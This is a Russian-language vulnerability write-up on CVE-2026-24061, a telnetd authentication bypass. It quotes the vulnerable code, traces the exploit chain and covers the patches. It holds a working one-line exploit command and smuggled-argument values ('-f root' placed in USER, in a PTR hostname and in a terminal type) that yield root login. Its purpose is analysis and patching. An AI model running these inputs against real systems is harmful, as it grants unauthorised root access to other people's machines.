
Глубокая техническая аналитика и сканер для CVE-2026-24061 — критического обхода аутентификации в GNU InetUtils telnetd, включая цепочку эксплуатации, PoC и детали патча.
CVE-2026-24061 — это критическая (CVSS 9.8) уязвимость удалённого обхода аутентификации в GNU InetUtils telnetd, которая позволяет неаутентифицированным злоумышленникам мгновенно получить root-доступ. Уязвимость возникает из-за некорректной санитизации переменной окружения USER, которая передаётся напрямую в /usr/bin/login в качестве аргумента командной строки. Установив USER=-f root, злоумышленник активирует флаг -f в login, который полностью обходит аутентификацию.
Затронутые версии: GNU InetUtils 1.9.3 — 2.7 Тип уязвимости: CWE-88 (внедрение аргументов) Дата обнаружения: 20 января 2026 года Обнаружил: Kyu Neushwaistein (также известен как Carlos Cortes Alvarez)
telnetd/telnetd.c, строки ~49-63)Уязвимость начинается с шаблонной строки команды, которая определяет, как telnetd вызывает /usr/bin/login:
/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;
Ключевое наблюдение: На системах, отличных от Solaris, шаблон использует:
%?u{-f %u}{%U} — это условное выражение, означающее:
user_name задан (%u), используется -f %u (аутентифицированный автоматический вход)%U (переменная окружения USER как запасной вариант)Критическая проблема: %U раскрывается в сырую, несанитизированную переменную окружения USER.
telnetd/utility.c, _var_short_name())Шаблонная строка обрабатывается функцией expand_line(), которая вызывает _var_short_name() для раскрытия плейсхолдеров. Вот уязвимый код:
/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
char *q;
char timebuf[64];
time_t t;
switch (*exp->cp++)
{
case 'a':
#ifdef AUTHENTICATION
if (auth_level >= 0 && autologin == AUTH_VALID)
return xstrdup ("ok");
#endif
return NULL;
case 'd':
time (&t);
strftime (timebuf, sizeof (timebuf),
"%l:%M%p on %A, %d %B %Y", localtime (&t));
return xstrdup (timebuf);
case 'h':
return xstrdup (remote_hostname); // POTENTIALLY VULNERABLE
case 'l':
return xstrdup (local_hostname);
case 'L':
return xstrdup (line);
case 't':
q = strchr (line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup (q);
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL; // POTENTIALLY VULNERABLE
case 'u':
return user_name ? xstrdup (user_name) : NULL;
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup (""); // VULNERABLE!
default:
exp->state = EXP_STATE_ERROR;
return NULL;
}
}
Критическая ошибка (case 'U'): Переменная окружения USER извлекается через getenv() и передаётся без какой-либо санитизации. Когда злоумышленник устанавливает USER=-f root, это становится частью командной строки login.
telnetd/pty.c, start_login())Раскрытая строка вызова login выполняется в start_login():
/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);
Злоумышленник подключается к telnetd (порт 23)
Происходит согласование опций Telnet:
IAC DO NEW_ENVIRONIAC WILL NEW_ENVIRONIAC SB NEW_ENVIRON SEND (запрос окружения)IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SEСервер обрабатывает переменную USER:
getenv("USER") возвращает -f root%U раскрывается в -f root/usr/bin/login -p -h <hostname> -f rootLogin интерпретирует -f root:
-f означает «пропустить аутентификацию, пользователь уже аутентифицирован»root — имя пользователя для входа# On attacker machine:
USER='-f root' telnet -a <target_ip>
Флаг -a включает режим автоматического входа, который отправляет переменную окружения USER на сервер.
В охранном бюллетене явно указано: «Таким образом, существует потенциал аналогичных уязвимостей для других переменных». Проанализируем каждую переменную в _var_short_name():
| Var | Имя | Источник | Контролируется пользователем? | Санитизирована? | Поверхность атаки |
|---|---|---|---|---|---|
%U | Переменная окружения USER | getenv("USER") | ДА (через NEW_ENVIRON) | НЕТ | КРИТИЧЕСКАЯ — CVE-2026-24061 |
%h | remote_hostname | DNS/PTR-запрос | Частично (PTR-запись) | НЕТ | ВЫСОКАЯ |
%T | terminaltype | Опция TERMINAL-TYPE | ДА | НЕТ | СРЕДНЯЯ |
%u | user_name | Согласование протокола | ДА | НЕТ | СРЕДНЯЯ (требуется аутентификация) |
%l | local_hostname | Конфигурация системы | НЕТ | Н/Д | НИЗКАЯ |
%L | line (TTY) | Выделяется системой | НЕТ | Н/Д | НИЗКАЯ |
%t | Короткое имя TTY | Выделяется системой | НЕТ | Н/Д | НИЗКАЯ |
%d | Дата/время | Системные часы | НЕТ | Н/Д | ОТСУТСТВУЕТ |
%a | Статус аутентификации | Внутреннее состояние | НЕТ | Н/Д | ОТСУТСТВУЕТ |
%h — Удалённое имя хоста (ВЫСОКИЙ РИСК)Источник: Заполняется в telnetd_setup() из telnetd.c через getnameinfo() или gethostbyaddr().
Проблема: Если злоумышленник контролирует свою PTR-запись (обратный DNS), он потенциально может внедрить:
foo -f root
в качестве своего имени хоста, которое станет частью аргумента -h:
/usr/bin/login -p -h "foo -f root" ...
Сложность эксплуатации:
Реальный сценарий: Злоумышленник с контролем над PTR-записью своего IP-адреса (обычно доступно у VPS-провайдеров) может установить обратный DNS на вредоносное значение.
%T — Тип терминала (СРЕДНИЙ РИСК)Источник: Получается через субсогласование TERMINAL-TYPE в Telnet, сохраняется в переменной terminaltype.
Проблема: Строка типа терминала контролируется злоумышленником и не санитизируется:
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL;
Использование в шаблонах:
%?T{-t %T} — используется с флагом -t%?T{%T} — вставляется напрямуюПотенциальная атака:
TERMINAL-TYPE: xterm -f root
Однако эксплуатация зависит от:
%T в шаблоне (в настоящее время только Solaris)-t%u — Аутентифицированное имя пользователя (СРЕДНИЙ РИСК)Источник: Устанавливается во время согласования аутентификации.
Проблема: Используется в шаблоне -f %u:
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
Если злоумышленник сможет манипулировать user_name, включив в него метасимволы оболочки или дополнительные аргументы, он может добиться повышения привилегий. Однако эта переменная обычно устанавливается только после некоторой проверки аутентификации.
%l, %L, %t: Эти значения производны от контролируемых системой величин (локальное имя хоста, имена TTY-устройств), на которые злоумышленник не может повлиять удалённо.
%d: Генерируется из системных часов — нет вектора внедрения.
%a: Внутренняя переменная состояния аутентификации — возвращает литеральное «ok» или NULL.
На основе этой уязвимости вот шаблоны для поиска в кодовой базе:
// DANGEROUS: Direct use of environment variables
getenv("VARIABLE")
Файлы для проверки:
telnetd/utility.c — другие функции раскрытияtelnetd/telnetd.c — обработка окруженияrlogind/, rshd/ — аналогичные службы// DANGEROUS: User data in command templates
sprintf(cmd, "command %s", user_controlled_var);
system(cmd);
execv(argv[0], argv);
// POTENTIALLY DANGEROUS: DNS data can be attacker-controlled
getnameinfo(...); // PTR lookups
gethostbyaddr(...);
// Then using result in command construction
Демон ftpd: Проверить, как обрабатывается пользовательский ввод при аутентификации и обработке команд
Демоны rshd/rlogind: Они используют аналогичные шаблоны аутентификации и могут иметь сопоставимые проблемы с обработкой имени хоста или окружения
Разбор конфигурации inetd: Может обрабатывать недоверенный ввод при настройке служб
Точки интеграции Kerberos: При обработке имён субъектов или токенов аутентификации
fd702c02)Первый патч добавляет базовую санитизацию:
case 'U':
{
char *u = getenv("USER");
return (u && *u != '-') ? xstrdup(u) : xstrdup("");
}
Это блокирует значения, начинающиеся с -, что предотвращает внедрение флагов.
ccba9f74)Второй патч вводит переиспользуемую функцию sanitize() для всех контролируемых пользователем входных данных:
/* Sanitize user-supplied string to prevent argument injection */
static char *
sanitize (const char *str)
{
if (str == NULL || *str == '-')
return xstrdup ("");
return xstrdup (str);
}
Применяется ко всем потенциально опасным переменным:
%U (USER)%h (remote_hostname)%T (terminaltype)CVE-2026-24061 — это классическая уязвимость внедрения аргументов, которая оставалась незамеченной 11 лет из-за:
Аналогичные уязвимости могут существовать в переменных %h (имя хоста) и %T (тип терминала), хотя их эксплуатация более сложна.
Более широкие последствия: Любой код, который формирует команды оболочки или аргументы программ из данных, полученных из сети, должен быть проверен на аналогичные уязвимости внедрения.
Рекомендуемые меры по смягчению:
-f